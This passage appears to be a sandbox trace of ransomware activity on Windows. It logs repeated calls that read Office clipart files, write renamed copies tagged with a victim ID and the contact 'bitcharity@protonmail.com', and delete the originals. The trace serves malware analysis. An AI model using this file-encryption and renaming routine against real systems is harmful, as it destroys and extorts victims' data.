(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0298.044] lstrlenW (lpString=".jpg") returned 4 [0298.044] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.044] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0298.044] lstrlenW (lpString="FD00564_.WMF") returned 12 [0298.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0298.044] GetFileSizeEx (in: hFile=0x10a0, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=896) returned 1 [0298.044] CloseHandle (hObject=0x10a0) returned 1 [0298.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf")) returned 0x220 [0298.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0298.045] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.045] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0298.045] GetLastError () returned 0x0 [0298.045] ReadFile (in: hFile=0x10a0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x380, lpOverlapped=0x0) returned 1 [0298.259] WriteFile (in: hFile=0x109c, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x390, lpOverlapped=0x0) returned 1 [0298.260] ReadFile (in: hFile=0x10a0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.260] WriteFile (in: hFile=0x109c, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0298.260] SetEndOfFile (hFile=0x109c) returned 1 [0298.261] CloseHandle (hObject=0x109c) returned 1 [0298.261] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.261] SetEndOfFile (hFile=0x10a0) returned 1 [0298.261] CloseHandle (hObject=0x10a0) returned 1 [0298.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0298.262] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf")) returned 1 [0298.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0298.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0298.262] lstrlenW (lpString=".doc") returned 4 [0298.262] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.262] lstrlenW (lpString=".docx") returned 5 [0298.262] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.262] lstrlenW (lpString=".pdf") returned 4 [0298.262] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.262] lstrlenW (lpString=".xls") returned 4 [0298.262] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.262] lstrlenW (lpString=".xlsx") returned 5 [0298.262] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.262] lstrlenW (lpString=".ppt") returned 4 [0298.262] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0298.262] lstrlenW (lpString=".zip") returned 4 [0298.262] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.262] lstrlenW (lpString=".rar") returned 4 [0298.262] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.262] lstrlenW (lpString=".bz2") returned 4 [0298.262] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.262] lstrlenW (lpString=".7z") returned 3 [0298.263] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0298.263] lstrlenW (lpString=".dbf") returned 4 [0298.263] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0298.263] lstrlenW (lpString=".1cd") returned 4 [0298.263] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0298.263] lstrlenW (lpString=".jpg") returned 4 [0298.263] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0298.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0298.263] lstrlenW (lpString=".doc") returned 4 [0298.263] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.263] lstrlenW (lpString=".docx") returned 5 [0298.263] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.263] lstrlenW (lpString=".pdf") returned 4 [0298.263] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.263] lstrlenW (lpString=".xls") returned 4 [0298.263] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.263] lstrlenW (lpString=".xlsx") returned 5 [0298.263] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.263] lstrlenW (lpString=".ppt") returned 4 [0298.263] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0298.263] lstrlenW (lpString=".zip") returned 4 [0298.263] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.263] lstrlenW (lpString=".rar") returned 4 [0298.263] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.263] lstrlenW (lpString=".bz2") returned 4 [0298.263] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.263] lstrlenW (lpString=".7z") returned 3 [0298.263] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0298.263] lstrlenW (lpString=".dbf") returned 4 [0298.263] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0298.264] lstrlenW (lpString=".1cd") returned 4 [0298.264] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0298.264] lstrlenW (lpString=".jpg") returned 4 [0298.264] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.264] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0298.264] lstrlenW (lpString="FD00799_.WMF") returned 12 [0298.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0298.264] GetFileSizeEx (in: hFile=0x10a0, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=13968) returned 1 [0298.264] CloseHandle (hObject=0x10a0) returned 1 [0298.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf")) returned 0x220 [0298.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0298.265] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.265] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0298.265] GetLastError () returned 0x0 [0298.265] ReadFile (in: hFile=0x10a0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x3690, lpOverlapped=0x0) returned 1 [0298.371] WriteFile (in: hFile=0x109c, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x36a0, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x36a0, lpOverlapped=0x0) returned 1 [0298.374] ReadFile (in: hFile=0x10a0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.374] WriteFile (in: hFile=0x109c, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0298.374] SetEndOfFile (hFile=0x109c) returned 1 [0298.375] CloseHandle (hObject=0x109c) returned 1 [0298.375] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.375] SetEndOfFile (hFile=0x10a0) returned 1 [0298.376] CloseHandle (hObject=0x10a0) returned 1 [0298.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0298.564] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf")) returned 1 [0298.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0298.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0298.622] lstrlenW (lpString=".doc") returned 4 [0298.623] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.623] lstrlenW (lpString=".docx") returned 5 [0298.623] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.623] lstrlenW (lpString=".pdf") returned 4 [0298.623] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.623] lstrlenW (lpString=".xls") returned 4 [0298.623] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.623] lstrlenW (lpString=".xlsx") returned 5 [0298.623] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.623] lstrlenW (lpString=".ppt") returned 4 [0298.623] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0298.623] lstrlenW (lpString=".zip") returned 4 [0298.623] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.623] lstrlenW (lpString=".rar") returned 4 [0298.623] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.623] lstrlenW (lpString=".bz2") returned 4 [0298.623] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.623] lstrlenW (lpString=".7z") returned 3 [0298.623] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0298.623] lstrlenW (lpString=".dbf") returned 4 [0298.623] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0298.623] lstrlenW (lpString=".1cd") returned 4 [0298.623] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0298.623] lstrlenW (lpString=".jpg") returned 4 [0298.623] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0298.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0298.623] lstrlenW (lpString=".doc") returned 4 [0298.624] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.624] lstrlenW (lpString=".docx") returned 5 [0298.624] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.624] lstrlenW (lpString=".pdf") returned 4 [0298.624] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.624] lstrlenW (lpString=".xls") returned 4 [0298.624] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.624] lstrlenW (lpString=".xlsx") returned 5 [0298.624] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.624] lstrlenW (lpString=".ppt") returned 4 [0298.624] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0298.624] lstrlenW (lpString=".zip") returned 4 [0298.624] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.624] lstrlenW (lpString=".rar") returned 4 [0298.624] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.624] lstrlenW (lpString=".bz2") returned 4 [0298.624] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.624] lstrlenW (lpString=".7z") returned 3 [0298.624] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0298.624] lstrlenW (lpString=".dbf") returned 4 [0298.624] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0298.624] lstrlenW (lpString=".1cd") returned 4 [0298.624] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0298.624] lstrlenW (lpString=".jpg") returned 4 [0298.624] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.624] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0298.625] lstrlenW (lpString="FD01659_.WMF") returned 12 [0298.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0298.625] GetFileSizeEx (in: hFile=0x10a0, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=31180) returned 1 [0298.625] CloseHandle (hObject=0x10a0) returned 1 [0298.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf")) returned 0x220 [0298.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0298.625] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.625] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0298.626] GetLastError () returned 0x0 [0298.626] ReadFile (in: hFile=0x10a0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x79cc, lpOverlapped=0x0) returned 1 [0298.715] WriteFile (in: hFile=0x109c, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x79d0, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x79d0, lpOverlapped=0x0) returned 1 [0298.716] ReadFile (in: hFile=0x10a0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.716] WriteFile (in: hFile=0x109c, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0298.716] SetEndOfFile (hFile=0x109c) returned 1 [0298.716] CloseHandle (hObject=0x109c) returned 1 [0298.716] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.716] SetEndOfFile (hFile=0x10a0) returned 1 [0298.717] CloseHandle (hObject=0x10a0) returned 1 [0298.717] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0298.717] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf")) returned 1 [0298.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0298.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0298.718] lstrlenW (lpString=".doc") returned 4 [0298.718] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.718] lstrlenW (lpString=".docx") returned 5 [0298.718] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.718] lstrlenW (lpString=".pdf") returned 4 [0298.718] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.718] lstrlenW (lpString=".xls") returned 4 [0298.718] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.718] lstrlenW (lpString=".xlsx") returned 5 [0298.718] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.718] lstrlenW (lpString=".ppt") returned 4 [0298.718] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0298.718] lstrlenW (lpString=".zip") returned 4 [0298.718] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.718] lstrlenW (lpString=".rar") returned 4 [0298.718] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.718] lstrlenW (lpString=".bz2") returned 4 [0298.718] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.718] lstrlenW (lpString=".7z") returned 3 [0298.718] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0298.718] lstrlenW (lpString=".dbf") returned 4 [0298.718] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0298.718] lstrlenW (lpString=".1cd") returned 4 [0298.718] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0298.718] lstrlenW (lpString=".jpg") returned 4 [0298.718] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0298.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0298.718] lstrlenW (lpString=".doc") returned 4 [0298.718] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.719] lstrlenW (lpString=".docx") returned 5 [0298.719] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.719] lstrlenW (lpString=".pdf") returned 4 [0298.719] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.719] lstrlenW (lpString=".xls") returned 4 [0298.719] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.719] lstrlenW (lpString=".xlsx") returned 5 [0298.719] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.719] lstrlenW (lpString=".ppt") returned 4 [0298.719] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0298.719] lstrlenW (lpString=".zip") returned 4 [0298.719] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.719] lstrlenW (lpString=".rar") returned 4 [0298.719] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.719] lstrlenW (lpString=".bz2") returned 4 [0298.719] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.719] lstrlenW (lpString=".7z") returned 3 [0298.719] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0298.719] lstrlenW (lpString=".dbf") returned 4 [0298.719] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0298.719] lstrlenW (lpString=".1cd") returned 4 [0298.719] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0298.719] lstrlenW (lpString=".jpg") returned 4 [0298.719] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.719] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 